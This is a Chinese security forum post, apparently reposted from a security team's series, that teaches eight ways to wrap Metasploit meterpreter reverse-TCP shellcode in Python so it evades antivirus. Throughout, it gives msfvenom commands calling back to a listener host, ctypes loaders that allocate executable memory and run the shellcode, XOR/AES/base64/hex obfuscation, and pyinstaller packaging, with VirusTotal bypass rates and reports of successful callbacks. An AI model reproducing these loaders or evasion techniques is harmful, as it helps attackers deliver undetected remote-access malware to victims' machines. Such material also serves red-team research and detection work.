安全矩阵

 找回密码
 立即注册
搜索
查看: 1772|回复: 0

远控免杀专题(30)-Python加载shellcode免杀-8种方式(VT免杀率10-69)

[复制链接]

2

主题

2

帖子

26

积分

新手上路

Rank: 1

积分
26
发表于 2020-3-8 12:23:55 | 显示全部楼层 |阅读模式
本帖最后由 Esther 于 2020-3-8 18:50 编辑

远控免杀专题(30)-Python加载shellcode免杀-8种方式(VT免杀率10-69)


文章转载自微信公众号Tide安全团队



本文目录概览:
1 Python加载shellcode免杀介绍
2 通过py源码编译exe
    2.1 方法1:python加载C代码(VT免杀率19/70)
    2.2 方法2:py2exe打包编译exe (VT免杀率10/69)
    2.3 方法3:base64编码(VT免杀率16/70)
    2.4 方法4:py+C编译exe(VT免杀率18/69)
    2.5 方法5:xor加密(VT免杀率19/71)
    2.6 方法6:aes加密(VT免杀率19/71)
3 python加载器
    3.1 方法1:HEX加密(VT免杀率3/56)
    3.2 方法2:base64加密(VT免杀率3/56)
4 参考资料

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus

免杀能力一览表





几点说明:




1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。


2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。


3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。


4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。


5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。


1 Python加载shellcode免杀介绍



由于python使用比较简单方便,所以现在很多免杀都是使用python来对shellcode进行处理,做一些加密、混淆,用python来实现各种加密也比较简单而且免杀效果相对不错,唯一不足的地方就是py编译生成的exe文件比较大。


免杀工具avet、Python-Rootkit、Avoidz、Winpayloads、BackDoor-Factory都使用了把shellcode嵌入python代码中,然后编译py文件为exe,从而达到免杀的效果。

2 通过py源码编译exe


2.1 方法1:python加载C代码(VT免杀率19/70)


这种方法是python免杀最常见的一种方式,将C语言的shellcode嵌入到py代码中,然后借助于pyinstaller或py2exe编译打包成exe,不过因为代码和原理比较简单,所以免杀效果一般。


先用msfvenom生成shellcode:

  1. msfvenom -p windows/meterpreter/reverse_tcp   LHOST=10.211.55.2 LPORT=3333   -f c
复制代码




python代码pyshellcode.py

  1. #!/usr/bin/python
  2. import ctypes

  3. shellcode = bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b")

  4. ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
  5.                                           ctypes.c_int(len(shellcode)),
  6.                                           ctypes.c_int(0x3000),
  7.                                           ctypes.c_int(0x40))

  8. buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
  9. ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
  10.                                      buf,
  11.                                      ctypes.c_int(len(shellcode)))

  12. ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
  13.                                          ctypes.c_int(0),
  14.                                          ctypes.c_int(ptr),
  15.                                          ctypes.c_int(0),
  16.                                          ctypes.c_int(0),
  17.                                          ctypes.pointer(ctypes.c_int(0)))

  18. ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
复制代码


然后要使用PyInstaller将py转为exe,pyinstaller依赖于pywin32,在使用pyinstaller之前,应先安装pywin32。


pywin32下载后,点击下一步安装即可[https://sourceforge.net/projects/pywin32/files/pywin32](https://sourceforge.net/projects/pywin32/files/pywin32)


pyinstaller 下载[https://github.com/pyinstaller/pyinstaller/releases](https://github.com/pyinstaller/pyinstaller/releases),解压,安装好依赖包pip install -r requirements.txt,即可使用。




pyshellcode.py复制到C:\Python27_x86\pyinstaller目录中,在该目录下执行命令编译exe:

  1. python pyinstaller.py -F -w pyshellcode.py
复制代码


执行生成的exe(文件大小3.4M),可上线,可过360和火绒




msf中可正常上线




virustotal.com中19/70个报毒




2.2 方法2:py2exe打包编译exe (VT免杀率10/69)



该方法借用了免杀工具Python-Rootkit的思路。

首先要在windows上安装x86版的python。


注意:必须使用x86版本Python 2.7,即使Windows是x64的,也要安装32位版本。


我这里安装的是Python 2.7.16 x86 windows版:


  1. https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
复制代码


之后安装32位Py2exe for python 2.7


  1. https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download
复制代码


在Windows上安装OpenSSL(可选)


msfvenom生成python payload


  1. msfvenom -p python/meterpreter/reverse_tcp LHOST=10.211.55.2  LPORT=3333  -f raw -o shell.py
复制代码


创建文件setup.py


  1. from distutils.core import setup

  2. import py2exe

  3. setup(

  4. name = "Meter",

  5. description = "Python-based App",

  6. version = "1.0",

  7. console = ["shell.py"],

  8. options = {"py2exe":{"bundle_files":1,"packages":"ctypes","includes":"base64,sys,socket,struct,time,code,platform,getpass,shutil",}},

  9. zipfile = None

  10. )
复制代码


在msf中设置payload windows/meterpreter/reverse_tcp,监听相应3333端口。


在windows下执行python.exe .\setup.py py2exe,(文件大小11M)





msf中正常上线




打开杀软进行测试,可正常上线




virustotal.com中10/69个报毒




2.3 方法3:base64编码(VT免杀率16/70)


和2.1方法一样,先生成shellcode。


先用msfvenom生成shellcode,记得要用base64编码:


  1. msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64  LHOST=10.211.55.2 LPORT=3333   -f c
复制代码


python代码如下:


  1. import ctypes
  2. import base64

  3. encode_shellcode = ""

  4. shellcode = base64.b64decode(encode_shellcode)

  5. rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
  6. ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
  7. handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
  8. ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
复制代码


使用pyinstaller编译打包exe,生成文件大小3.4M


  1. python pyinstaller.py -F -w pyshellcode.py
复制代码


在测试机器运行时,360杀毒静态查杀报警,但执行和上线都没问题。






virustotal.com中16/71个报毒




2.4 方法4:py+C编译exe(VT免杀率18/69)



和2.1方法一样,先生成shellcode。


先用msfvenom生成shellcode:


  1. msfvenom -p windows/meterpreter/reverse_tcp   LHOST=10.211.55.2 LPORT=3333   -f c
复制代码


python代码如下:


  1. import ctypes

  2. buf =  ""
  3. #libc = CDLL('libc.so.6')
  4. PROT_READ = 1
  5. PROT_WRITE = 2
  6. PROT_EXEC = 4
  7. def executable_code(buffer):
  8.     buf = c_char_p(buffer)
  9.     size = len(buffer)
  10.     addr = libc.valloc(size)
  11.     addr = c_void_p(addr)
  12.     if 0 == addr:
  13.         raise Exception("Failed to allocate memory")
  14.     memmove(addr, buf, size)
  15.     if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
  16.         raise Exception("Failed to set protection on buffer")
  17.     return addr
  18. VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
  19. VirtualProtect = ctypes.windll.kernel32.VirtualProtect
  20. shellcode = bytearray(buf)
  21. whnd = ctypes.windll.kernel32.GetConsoleWindow()   
  22. if whnd != 0:
  23.        if 1:
  24.               ctypes.windll.use***.ShowWindow(whnd, 0)   
  25.               ctypes.windll.kernel32.CloseHandle(whnd)
  26. memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
  27.                                           ctypes.c_int(len(shellcode)),
  28.                                           ctypes.c_int(0x3000),
  29.                                           ctypes.c_int(0x40))
  30. buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
  31. old = ctypes.c_long(1)
  32. VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
  33. ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
  34.                                      buf,
  35.                                      ctypes.c_int(len(shellcode)))
  36. shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
  37. shell()
复制代码


使用pyinstaller编译打包exe,生成文件大小3.4M


  1. python pyinstaller.py -F -w pyshellcode.py
复制代码




virustotal.com中18/69个报毒




2.5 方法5:xor加密(VT免杀率19/71)


这个和专题27中的方法6一样,需要使用一个工具[https://github.com/Arno0x/ShellcodeWrapper](https://github.com/Arno0x/ShellcodeWrapper)


先用msfvenom生成一个raw格式的shellcode


  1. msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f raw > shellcode.raw
复制代码


ShellcodeWrapper文件夹中执行下面命令,其中tidesec为自己设置的key。


  1. python shellcode_encoder.py -cpp -cs -py shellcode.raw tidesec xor
复制代码




生成了三个文件,有一个py文件,也是我们要用到的。


其中encryptedShellcodeWrapper_xor.py文件中的python源码如下


  1. #!/usr/bin/python
  2. # -*- coding: utf8 -*-
  3. # Author: Arno0x0x, Twitter: @Arno0x0x
  4. #
  5. # You can create a windows executable: pyinstaller --onefile --noconsole multibyteEncodedShellcode.py
  6. from Crypto.Cipher import AES
  7. from ctypes import *
  8. import base64

  9. # data as a bytearray
  10. # key as a string
  11. def xor(data, key):
  12.     l = len(key)
  13.     keyAsInt = map(ord, key)
  14.     return bytes(bytearray((
  15.         (data[i] ^ keyAsInt[i % l]) for i in range(0,len(data))
  16.     )))

  17. #------------------------------------------------------------------------
  18. def unpad(s):
  19.     """PKCS7 padding removal"""
  20.     return s[:-ord(s[len(s)-1:])]

  21. #------------------------------------------------------------------------
  22. def aesDecrypt(cipherText, key):
  23.     """Decrypt data with the provided key"""

  24.     # Initialization Vector is in the first 16 bytes
  25.     iv = cipherText[:AES.block_size]

  26.     cipher = AES.new(key, AES.MODE_CBC, iv)
  27.     return unpad(cipher.decrypt(cipherText[AES.block_size:]))

  28. if __name__ == '__main__':

  29.     encryptedShellcode = ("\xaf\xac\xda\x91\...")
  30.     key = "tidesec"
  31.     cipherType = "xor"

  32.     # Decrypt the shellcode
  33.     if cipherType == 'xor':
  34.         shellcode = xor(bytearray(encryptedShellcode), key)
  35.     elif cipherType == 'aes':
  36.         key = base64.b64decode(key)
  37.         shellcode = aesDecrypt(encryptedShellcode, key)
  38.     else:
  39.         print "[ERROR] Unknown cipher type"

  40.     # Copy the shellcode to memory and invoke it
  41.     memory_with_shell = create_string_buffer(shellcode, len(shellcode))
  42.     shell = cast(memory_with_shell,CFUNCTYPE(c_void_p))
  43.     shell()
复制代码


使用pyinstaller编译:


  1. python pyinstaller.py --onefile --noconsole encryptedShellcodeWrapper_xor.py
复制代码


编译执行,可上线,virustotal.com上查杀率19/71




2.6 方法6:aes加密(VT免杀率19/71)



这个和上面的方法5:xor加密一样,需要使用一个工具[https://github.com/Arno0x/ShellcodeWrapper](https://github.com/Arno0x/ShellcodeWrapper)


先用msfvenom生成一个raw格式的shellcode


  1. msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f raw > shellcode.raw
复制代码


在ShellcodeWrapper文件夹中执行下面命令,其中tidesec为自己设置的key,加密方式设置为aes即可。


  1. python shellcode_encoder.py -cpp -cs -py shellcode.raw tidesec aes
复制代码


其中encryptedShellcodeWrapper_aes.py文件中的python源码如下

  1. #!/usr/bin/python
  2. # -*- coding: utf8 -*-
  3. # Author: Arno0x0x, Twitter: @Arno0x0x
  4. #
  5. # You can create a windows executable: pyinstaller --onefile --noconsole multibyteEncodedShellcode.py
  6. from Crypto.Cipher import AES
  7. from ctypes import *
  8. import base64

  9. #------------------------------------------------------------------------
  10. # data as a bytearray
  11. # key as a string
  12. def xor(data, key):
  13.     l = len(key)
  14.     keyAsInt = map(ord, key)
  15.     return bytes(bytearray((
  16.         (data[i] ^ keyAsInt[i % l]) for i in range(0,len(data))
  17.     )))

  18. #------------------------------------------------------------------------
  19. def unpad(s):
  20.     """PKCS7 padding removal"""
  21.     return s[:-ord(s[len(s)-1:])]

  22. #------------------------------------------------------------------------
  23. def aesDecrypt(cipherText, key):
  24.     """Decrypt data with the provided key"""

  25.     # Initialization Vector is in the first 16 bytes
  26.     iv = cipherText[:AES.block_size]

  27.     cipher = AES.new(key, AES.MODE_CBC, iv)
  28.     return unpad(cipher.decrypt(cipherText[AES.block_size:]))

  29. if __name__ == '__main__':

  30.     encryptedShellcode = ("\x32\x1f\x96")
  31.     key = "IePGfIakAIG4GxOkNEbyXA=="
  32.     cipherType = "aes"

  33.     # Decrypt the shellcode
  34.     if cipherType == 'xor':
  35.         shellcode = xor(bytearray(encryptedShellcode), key)
  36.     elif cipherType == 'aes':
  37.         key = base64.b64decode(key)
  38.         shellcode = aesDecrypt(encryptedShellcode, key)
  39.     else:
  40.         print "[ERROR] Unknown cipher type"

  41.     # Copy the shellcode to memory and invoke it
  42.     memory_with_shell = create_string_buffer(shellcode, len(shellcode))
  43.     shell = cast(memory_with_shell,CFUNCTYPE(c_void_p))
  44.     shell()
复制代码


使用pyinstaller编译:


  1. python pyinstaller.py --onefile --noconsole encryptedShellcodeWrapper_aes.py
复制代码


编译执行,可上线,virustotal.com上查杀率19/71,和上面的xor加密一样。






3 python加载器



3.1 方法1:HEX加密(VT免杀率3/56)


这是使用了k8的方法:[https://www.cnblogs.com/k8gege/p/11223393.html](https://www.cnblogs.com/k8gege/p/11223393.html)k8的工具scrun不仅提供了加载python代码,还能加载C#。


先用msfvenom生成一个c格式的shellcode


  1. msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f c -o shell.c
复制代码


把shellcode转成hex,我这就也用k8飞刀了。




然后下载这里的工具:[https://github.com/k8gege/scrun](https://github.com/k8gege/scrun)


使用python ScRunHex.py hexcode就可以加载执行shellcode了






msf中正常上线





virustotal.com上ScRunHex.py查杀率3/56




这里也可以直接用scrun.exe来直接执行hex代码,不过编译好的scrun.exe早就被各大杀软加特征库里了(VT免杀率41/71),还是自己编译的好一些。


其实ScRunHex.py也可以编译成exe,代码需要修改一下。



  1. #scrun by k8gege
  2. import ctypes
  3. import sys
  4. shellcode = bytearray(("shellcode-hexcode").decode("hex"))
  5. ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
  6.                                           ctypes.c_int(len(shellcode)),
  7.                                           ctypes.c_int(0x3000),
  8.                                           ctypes.c_int(0x40))

  9. buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

  10. ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
  11.                                      buf,
  12.                                      ctypes.c_int(len(shellcode)))

  13. ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
  14.                                          ctypes.c_int(0),
  15.                                          ctypes.c_int(ptr),
  16.                                          ctypes.c_int(0),
  17.                                          ctypes.c_int(0),
  18.                                          ctypes.pointer(ctypes.c_int(0)))

  19. ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
复制代码


编译exe后执行,可正常上线,不过virustotal.com上查杀率17/69。




3.2 方法2:base64加密(VT免杀率3/56)


和上面的3.1一样,也是k8的大作,使用了base64+hex的方式处理shellcode。

文件ScRunBase64.py代码如下
  1. #scrun by k8gege
  2. import ctypes
  3. import sys
  4. import base64
  5. shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
  6. ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
  7.                                           ctypes.c_int(len(shellcode)),
  8.                                           ctypes.c_int(0x3000),
  9.                                           ctypes.c_int(0x40))

  10. buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

  11. ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
  12.                                      buf,
  13.                                      ctypes.c_int(len(shellcode)))

  14. ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
  15.                                          ctypes.c_int(0),
  16.                                          ctypes.c_int(ptr),
  17.                                          ctypes.c_int(0),
  18.                                          ctypes.c_int(0),
  19.                                          ctypes.pointer(ctypes.c_int(0)))

  20. ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
复制代码

virustotal.com上ScRunBase64.py查杀率4/58















本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-5-20 07:22 , Processed in 0.016630 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表